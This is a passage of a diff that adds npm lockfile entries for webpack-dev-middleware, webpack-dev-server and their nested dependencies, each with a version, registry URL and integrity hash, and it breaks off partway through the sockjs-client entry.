+        "webpack-dev-middleware": {
+            "version": "3.7.3",
+            "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-3.7.3.tgz",
+            "integrity": "sha512-djelc/zGiz9nZj/U7PTBi2ViorGJXEWo/3ltkPbDyxCXhhEXkW0ce99falaok4TPj+AsxLiXJR0EBOb0zh9fKQ==",
+            "requires": {
+                "memory-fs": "^0.4.1",
+                "mime": "^2.4.4",
+                "mkdirp": "^0.5.1",
+                "range-parser": "^1.2.1",
+                "webpack-log": "^2.0.0"
+            }
+        },
+        "webpack-dev-server": {
+            "version": "3.11.3",
+            "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-3.11.3.tgz",
+            "integrity": "sha512-3x31rjbEQWKMNzacUZRE6wXvUFuGpH7vr0lIEbYpMAG9BOxi0928QU1BBswOAP3kg3H1O4hiS+sq4YyAn6ANnA==",
+            "requires": {
+                "ansi-html-community": "0.0.8",
+                "bonjour": "^3.5.0",
+                "chokidar": "^2.1.8",
+                "compression": "^1.7.4",
+                "connect-history-api-fallback": "^1.6.0",
+                "debug": "^4.1.1",
+                "del": "^4.1.1",
+                "express": "^4.17.1",
+                "html-entities": "^1.3.1",
+                "http-proxy-middleware": "0.19.1",
+                "import-local": "^2.0.0",
+                "internal-ip": "^4.3.0",
+                "ip": "^1.1.5",
+                "is-absolute-url": "^3.0.3",
+                "killable": "^1.0.1",
+                "loglevel": "^1.6.8",
+                "opn": "^5.5.0",
+                "p-retry": "^3.0.1",
+                "portfinder": "^1.0.26",
+                "schema-utils": "^1.0.0",
+                "selfsigned": "^1.10.8",
+                "semver": "^6.3.0",
+                "serve-index": "^1.9.1",
+                "sockjs": "^0.3.21",
+                "sockjs-client": "^1.5.0",
+                "spdy": "^4.0.2",
+                "strip-ansi": "^3.0.1",
+                "supports-color": "^6.1.0",
+                "url": "^0.11.0",
+                "webpack-dev-middleware": "^3.7.2",
+                "webpack-log": "^2.0.0",
+                "ws": "^6.2.1",
+                "yargs": "^13.3.2"
+            },
+            "dependencies": {
+                "ansi-html-community": {
+                    "version": "0.0.8",
+                    "resolved": "https://registry.npmjs.org/ansi-html-community/-/ansi-html-community-0.0.8.tgz",
+                    "integrity": "sha512-1APHAyr3+PCamwNw3bXCPp4HFLONZt/yIH0sZp0/469KWNTEy+qN5jQ3GVX6DMZ1UXAi34yVwtTeaG/HpBuuzw=="
+                },
+                "ansi-regex": {
+                    "version": "2.1.1",
+                    "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
+                    "integrity": "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA=="
+                },
+                "anymatch": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz",
+                    "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==",
+                    "requires": {
+                        "micromatch": "^3.1.4",
+                        "normalize-path": "^2.1.1"
+                    },
+                    "dependencies": {
+                        "normalize-path": {
+                            "version": "2.1.1",
+                            "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz",
+                            "integrity": "sha512-3pKJwH184Xo/lnH6oyP1q2pMd7HcypqqmRs91/6/i2CGtWwIKGCkOOMTm/zXbgTEWHw1uNpNi/igc3ePOYHb6w==",
+                            "requires": {
+                                "remove-trailing-separator": "^1.0.1"
+                            }
+                        }
+                    }
+                },
+                "arr-diff": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz",
+                    "integrity": "sha512-YVIQ82gZPGBebQV/a8dar4AitzCQs0jjXwMPZllpXMaGjXPYVUawSxQrRsjhjupyVxEvbHgUmIhKVlND+j02kA=="
+                },
+                "array-unique": {
+                    "version": "0.3.2",
+                    "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz",
+                    "integrity": "sha512-SleRWjh9JUud2wH1hPs9rZBZ33H6T9HOiL0uwGnGx9FpE6wKGyfWugmbkEOIs6qWrZhg0LWeLziLrEwQJhs5mQ=="
+                },
+                "binary-extensions": {
+                    "version": "1.13.1",
+                    "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-1.13.1.tgz",
+                    "integrity": "sha512-Un7MIEDdUC5gNpcGDV97op1Ywk748MpHcFTHoYs6qnj1Z3j7I53VG3nwZhKzoBZmbdRNnb6WRdFlwl7tSDuZGw=="
+                },
+                "braces": {
+                    "version": "2.3.2",
+                    "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz",
+                    "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==",
+                    "requires": {
+                        "arr-flatten": "^1.1.0",
+                        "array-unique": "^0.3.2",
+                        "extend-shallow": "^2.0.1",
+                        "fill-range": "^4.0.0",
+                        "isobject": "^3.0.1",
+                        "repeat-element": "^1.1.2",
+                        "snapdragon": "^0.8.1",
+                        "snapdragon-node": "^2.0.1",
+                        "split-string": "^3.0.2",
+                        "to-regex": "^3.0.1"
+                    },
+                    "dependencies": {
+                        "extend-shallow": {
+                            "version": "2.0.1",
+                            "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+                            "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+                            "requires": {
+                                "is-extendable": "^0.1.0"
+                            }
+                        }
+                    }
+                },
+                "camelcase": {
+                    "version": "5.3.1",
+                    "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
+                    "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg=="
+                },
+                "chokidar": {
+                    "version": "2.1.8",
+                    "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz",
+                    "integrity": "sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==",
+                    "requires": {
+                        "anymatch": "^2.0.0",
+                        "async-each": "^1.0.1",
+                        "braces": "^2.3.2",
+                        "fsevents": "^1.2.7",
+                        "glob-parent": "^3.1.0",
+                        "inherits": "^2.0.3",
+                        "is-binary-path": "^1.0.0",
+                        "is-glob": "^4.0.0",
+                        "normalize-path": "^3.0.0",
+                        "path-is-absolute": "^1.0.0",
+                        "readdirp": "^2.2.1",
+                        "upath": "^1.1.1"
+                    }
+                },
+                "cliui": {
+                    "version": "5.0.0",
+                    "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz",
+                    "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==",
+                    "requires": {
+                        "string-width": "^3.1.0",
+                        "strip-ansi": "^5.2.0",
+                        "wrap-ansi": "^5.1.0"
+                    },
+                    "dependencies": {
+                        "ansi-regex": {
+                            "version": "4.1.1",
+                            "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.1.tgz",
+                            "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g=="
+                        },
+                        "strip-ansi": {
+                            "version": "5.2.0",
+                            "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
+                            "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
+                            "requires": {
+                                "ansi-regex": "^4.1.0"
+                            }
+                        }
+                    }
+                },
+                "debug": {
+                    "version": "4.3.4",
+                    "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+                    "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+                    "requires": {
+                        "ms": "2.1.2"
+                    },
+                    "dependencies": {
+                        "ms": {
+                            "version": "2.1.2",
+                            "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+                            "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+                        }
+                    }
+                },
+                "del": {
+                    "version": "4.1.1",
+                    "resolved": "https://registry.npmjs.org/del/-/del-4.1.1.tgz",
+                    "integrity": "sha512-QwGuEUouP2kVwQenAsOof5Fv8K9t3D8Ca8NxcXKrIpEHjTXK5J2nXLdP+ALI1cgv8wj7KuwBhTwBkOZSJKM5XQ==",
+                    "requires": {
+                        "@types/glob": "^7.1.1",
+                        "globby": "^6.1.0",
+                        "is-path-cwd": "^2.0.0",
+                        "is-path-in-cwd": "^2.0.0",
+                        "p-map": "^2.0.0",
+                        "pify": "^4.0.1",
+                        "rimraf": "^2.6.3"
+                    }
+                },
+                "emoji-regex": {
+                    "version": "7.0.3",
+                    "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz",
+                    "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA=="
+                },
+                "eventsource": {
+                    "version": "2.0.2",
+                    "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-2.0.2.tgz",
+                    "integrity": "sha512-IzUmBGPR3+oUG9dUeXynyNmf91/3zUSJg1lCktzKw47OXuhco54U3r9B7O4XX+Rb1Itm9OZ2b0RkTs10bICOxA=="
+                },
+                "expand-brackets": {
+                    "version": "2.1.4",
+                    "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz",
+                    "integrity": "sha512-w/ozOKR9Obk3qoWeY/WDi6MFta9AoMR+zud60mdnbniMcBxRuFJyDt2LdX/14A1UABeqk+Uk+LDfUpvoGKppZA==",
+                    "requires": {
+                        "debug": "^2.3.3",
+                        "define-property": "^0.2.5",
+                        "extend-shallow": "^2.0.1",
+                        "posix-character-classes": "^0.1.0",
+                        "regex-not": "^1.0.0",
+                        "snapdragon": "^0.8.1",
+                        "to-regex": "^3.0.1"
+                    },
+                    "dependencies": {
+                        "debug": {
+                            "version": "2.6.9",
+                            "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+                            "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+                            "requires": {
+                                "ms": "2.0.0"
+                            }
+                        },
+                        "define-property": {
+                            "version": "0.2.5",
+                            "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
+                            "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==",
+                            "requires": {
+                                "is-descriptor": "^0.1.0"
+                            }
+                        },
+                        "extend-shallow": {
+                            "version": "2.0.1",
+                            "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+                            "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+                            "requires": {
+                                "is-extendable": "^0.1.0"
+                            }
+                        },
+                        "is-accessor-descriptor": {
+                            "version": "0.1.6",
+                            "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
+                            "integrity": "sha512-e1BM1qnDbMRG3ll2U9dSK0UMHuWOs3pY3AtcFsmvwPtKL3MML/Q86i+GilLfvqEs4GW+ExB91tQ3Ig9noDIZ+A==",
+                            "requires": {
+                                "kind-of": "^3.0.2"
+                            },
+                            "dependencies": {
+                                "kind-of": {
+                                    "version": "3.2.2",
+                                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+                                    "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+                                    "requires": {
+                                        "is-buffer": "^1.1.5"
+                                    }
+                                }
+                            }
+                        },
+                        "is-data-descriptor": {
+                            "version": "0.1.4",
+                            "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
+                            "integrity": "sha512-+w9D5ulSoBNlmw9OHn3U2v51SyoCd0he+bB3xMl62oijhrspxowjU+AIcDY0N3iEJbUEkB15IlMASQsxYigvXg==",
+                            "requires": {
+                                "kind-of": "^3.0.2"
+                            },
+                            "dependencies": {
+                                "kind-of": {
+                                    "version": "3.2.2",
+                                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+                                    "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+                                    "requires": {
+                                        "is-buffer": "^1.1.5"
+                                    }
+                                }
+                            }
+                        },
+                        "is-descriptor": {
+                            "version": "0.1.6",
+                            "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
+                            "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
+                            "requires": {
+                                "is-accessor-descriptor": "^0.1.6",
+                                "is-data-descriptor": "^0.1.4",
+                                "kind-of": "^5.0.0"
+                            }
+                        },
+                        "kind-of": {
+                            "version": "5.1.0",
+                            "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
+                            "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw=="
+                        }
+                    }
+                },
+                "extglob": {
+                    "version": "2.0.4",
+                    "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz",
+                    "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==",
+                    "requires": {
+                        "array-unique": "^0.3.2",
+                        "define-property": "^1.0.0",
+                        "expand-brackets": "^2.1.4",
+                        "extend-shallow": "^2.0.1",
+                        "fragment-cache": "^0.2.1",
+                        "regex-not": "^1.0.0",
+                        "snapdragon": "^0.8.1",
+                        "to-regex": "^3.0.1"
+                    },
+                    "dependencies": {
+                        "define-property": {
+                            "version": "1.0.0",
+                            "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
+                            "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==",
+                            "requires": {
+                                "is-descriptor": "^1.0.0"
+                            }
+                        },
+                        "extend-shallow": {
+                            "version": "2.0.1",
+                            "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+                            "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+                            "requires": {
+                                "is-extendable": "^0.1.0"
+                            }
+                        }
+                    }
+                },
+                "fill-range": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz",
+                    "integrity": "sha512-VcpLTWqWDiTerugjj8e3+esbg+skS3M9e54UuR3iCeIDMXCLTsAH8hTSzDQU/X6/6t3eYkOKoZSef2PlU6U1XQ==",
+                    "requires": {
+                        "extend-shallow": "^2.0.1",
+                        "is-number": "^3.0.0",
+                        "repeat-string": "^1.6.1",
+                        "to-regex-range": "^2.1.0"
+                    },
+                    "dependencies": {
+                        "extend-shallow": {
+                            "version": "2.0.1",
+                            "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
+                            "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
+                            "requires": {
+                                "is-extendable": "^0.1.0"
+                            }
+                        }
+                    }
+                },
+                "find-up": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
+                    "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
+                    "requires": {
+                        "locate-path": "^3.0.0"
+                    }
+                },
+                "fsevents": {
+                    "version": "1.2.13",
+                    "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.13.tgz",
+                    "integrity": "sha512-oWb1Z6mkHIskLzEJ/XWX0srkpkTQ7vaopMQkyaEIoq0fmtFVxOthb8cCxeT+p3ynTdkk/RZwbgG4brR5BeWECw==",
+                    "optional": true,
+                    "requires": {
+                        "nan": "^2.12.1"
+                    }
+                },
+                "glob-parent": {
+                    "version": "3.1.0",
+                    "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz",
+                    "integrity": "sha512-E8Ak/2+dZY6fnzlR7+ueWvhsH1SjHr4jjss4YS/h4py44jY9MhK/VFdaZJAWDz6BbL21KeteKxFSFpq8OS5gVA==",
+                    "requires": {
+                        "is-glob": "^3.1.0",
+                        "path-dirname": "^1.0.0"
+                    },
+                    "dependencies": {
+                        "is-glob": {
+                            "version": "3.1.0",
+                            "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz",
+                            "integrity": "sha512-UFpDDrPgM6qpnFNI+rh/p3bUaq9hKLZN8bMUWzxmcnZVS3omf4IPK+BrewlnWjO1WmUsMYuSjKh4UJuV4+Lqmw==",
+                            "requires": {
+                                "is-extglob": "^2.1.0"
+                            }
+                        }
+                    }
+                },
+                "globby": {
+                    "version": "6.1.0",
+                    "resolved": "https://registry.npmjs.org/globby/-/globby-6.1.0.tgz",
+                    "integrity": "sha512-KVbFv2TQtbzCoxAnfD6JcHZTYCzyliEaaeM/gH8qQdkKr5s0OP9scEgvdcngyk7AVdY6YVW/TJHd+lQ/Df3Daw==",
+                    "requires": {
+                        "array-union": "^1.0.1",
+                        "glob": "^7.0.3",
+                        "object-assign": "^4.0.1",
+                        "pify": "^2.0.0",
+                        "pinkie-promise": "^2.0.0"
+                    },
+                    "dependencies": {
+                        "pify": {
+                            "version": "2.3.0",
+                            "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
+                            "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog=="
+                        }
+                    }
+                },
+                "is-accessor-descriptor": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+                    "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+                    "requires": {
+                        "kind-of": "^6.0.0"
+                    }
+                },
+                "is-binary-path": {
+                    "version": "1.0.1",
+                    "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-1.0.1.tgz",
+                    "integrity": "sha512-9fRVlXc0uCxEDj1nQzaWONSpbTfx0FmJfzHF7pwlI8DkWGoHBBea4Pg5Ky0ojwwxQmnSifgbKkI06Qv0Ljgj+Q==",
+                    "requires": {
+                        "binary-extensions": "^1.0.0"
+                    }
+                },
+                "is-data-descriptor": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+                    "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+                    "requires": {
+                        "kind-of": "^6.0.0"
+                    }
+                },
+                "is-descriptor": {
+                    "version": "1.0.2",
+                    "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+                    "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+                    "requires": {
+                        "is-accessor-descriptor": "^1.0.0",
+                        "is-data-descriptor": "^1.0.0",
+                        "kind-of": "^6.0.2"
+                    }
+                },
+                "is-number": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz",
+                    "integrity": "sha512-4cboCqIpliH+mAvFNegjZQ4kgKc3ZUhQVr3HvWbSh5q3WH2v82ct+T2Y1hdU5Gdtorx/cLifQjqCbL7bpznLTg==",
+                    "requires": {
+                        "kind-of": "^3.0.2"
+                    },
+                    "dependencies": {
+                        "kind-of": {
+                            "version": "3.2.2",
+                            "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+                            "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
+                            "requires": {
+                                "is-buffer": "^1.1.5"
+                            }
+                        }
+                    }
+                },
+                "is-path-cwd": {
+                    "version": "2.2.0",
+                    "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-2.2.0.tgz",
+                    "integrity": "sha512-w942bTcih8fdJPJmQHFzkS76NEP8Kzzvmw92cXsazb8intwLqPibPPdXf4ANdKV3rYMuuQYGIWtvz9JilB3NFQ=="
+                },
+                "is-path-in-cwd": {
+                    "version": "2.1.0",
+                    "resolved": "https://registry.npmjs.org/is-path-in-cwd/-/is-path-in-cwd-2.1.0.tgz",
+                    "integrity": "sha512-rNocXHgipO+rvnP6dk3zI20RpOtrAM/kzbB258Uw5BWr3TpXi861yzjo16Dn4hUox07iw5AyeMLHWsujkjzvRQ==",
+                    "requires": {
+                        "is-path-inside": "^2.1.0"
+                    }
+                },
+                "is-path-inside": {
+                    "version": "2.1.0",
+                    "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-2.1.0.tgz",
+                    "integrity": "sha512-wiyhTzfDWsvwAW53OBWF5zuvaOGlZ6PwYxAbPVDhpm+gM09xKQGjBq/8uYN12aDvMxnAnq3dxTyoSoRNmg5YFg==",
+                    "requires": {
+                        "path-is-inside": "^1.0.2"
+                    }
+                },
+                "is-wsl": {
+                    "version": "1.1.0",
+                    "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-1.1.0.tgz",
+                    "integrity": "sha512-gfygJYZ2gLTDlmbWMI0CE2MwnFzSN/2SZfkMlItC4K/JBlsWVDB0bO6XhqcY13YXE7iMcAJnzTCJjPiTeJJ0Mw=="
+                },
+                "isobject": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
+                    "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg=="
+                },
+                "kind-of": {
+                    "version": "6.0.3",
+                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
+                    "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
+                },
+                "locate-path": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
+                    "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
+                    "requires": {
+                        "p-locate": "^3.0.0",
+                        "path-exists": "^3.0.0"
+                    }
+                },
+                "micromatch": {
+                    "version": "3.1.10",
+                    "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz",
+                    "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==",
+                    "requires": {
+                        "arr-diff": "^4.0.0",
+                        "array-unique": "^0.3.2",
+                        "braces": "^2.3.1",
+                        "define-property": "^2.0.2",
+                        "extend-shallow": "^3.0.2",
+                        "extglob": "^2.0.4",
+                        "fragment-cache": "^0.2.1",
+                        "kind-of": "^6.0.2",
+                        "nanomatch": "^1.2.9",
+                        "object.pick": "^1.3.0",
+                        "regex-not": "^1.0.0",
+                        "snapdragon": "^0.8.1",
+                        "to-regex": "^3.0.2"
+                    }
+                },
+                "opn": {
+                    "version": "5.5.0",
+                    "resolved": "https://registry.npmjs.org/opn/-/opn-5.5.0.tgz",
+                    "integrity": "sha512-PqHpggC9bLV0VeWcdKhkpxY+3JTzetLSqTCWL/z/tFIbI6G8JCjondXklT1JinczLz2Xib62sSp0T/gKT4KksA==",
+                    "requires": {
+                        "is-wsl": "^1.1.0"
+                    }
+                },
+                "p-locate": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
+                    "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
+                    "requires": {
+                        "p-limit": "^2.0.0"
+                    }
+                },
+                "p-map": {
+                    "version": "2.1.0",
+                    "resolved": "https://registry.npmjs.org/p-map/-/p-map-2.1.0.tgz",
+                    "integrity": "sha512-y3b8Kpd8OAN444hxfBbFfj1FY/RjtTd8tzYwhUqNYXx0fXx2iX4maP4Qr6qhIKbQXI02wTLAda4fYUbDagTUFw=="
+                },
+                "path-exists": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
+                    "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ=="
+                },
+                "pify": {
+                    "version": "4.0.1",
+                    "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz",
+                    "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g=="
+                },
+                "readable-stream": {
+                    "version": "2.3.7",
+                    "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+                    "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+                    "requires": {
+                        "core-util-is": "~1.0.0",
+                        "inherits": "~2.0.3",
+                        "isarray": "~1.0.0",
+                        "process-nextick-args": "~2.0.0",
+                        "safe-buffer": "~5.1.1",
+                        "string_decoder": "~1.1.1",
+                        "util-deprecate": "~1.0.1"
+                    }
+                },
+                "readdirp": {
+                    "version": "2.2.1",
+                    "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz",
+                    "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==",
+                    "requires": {
+                        "graceful-fs": "^4.1.11",
+                        "micromatch": "^3.1.10",
+                        "readable-stream": "^2.0.2"
+                    }
+                },
+                "schema-utils": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz",
+                    "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==",
+                    "requires": {
+                        "ajv": "^6.1.0",
+                        "ajv-errors": "^1.0.0",
+                        "ajv-keywords": "^3.1.0"
+                    }
+                },
+                "semver": {
+                    "version": "6.3.0",
+                    "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+                    "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
+                },
+                "sockjs-client": {
+                    "version": "1.6.1",
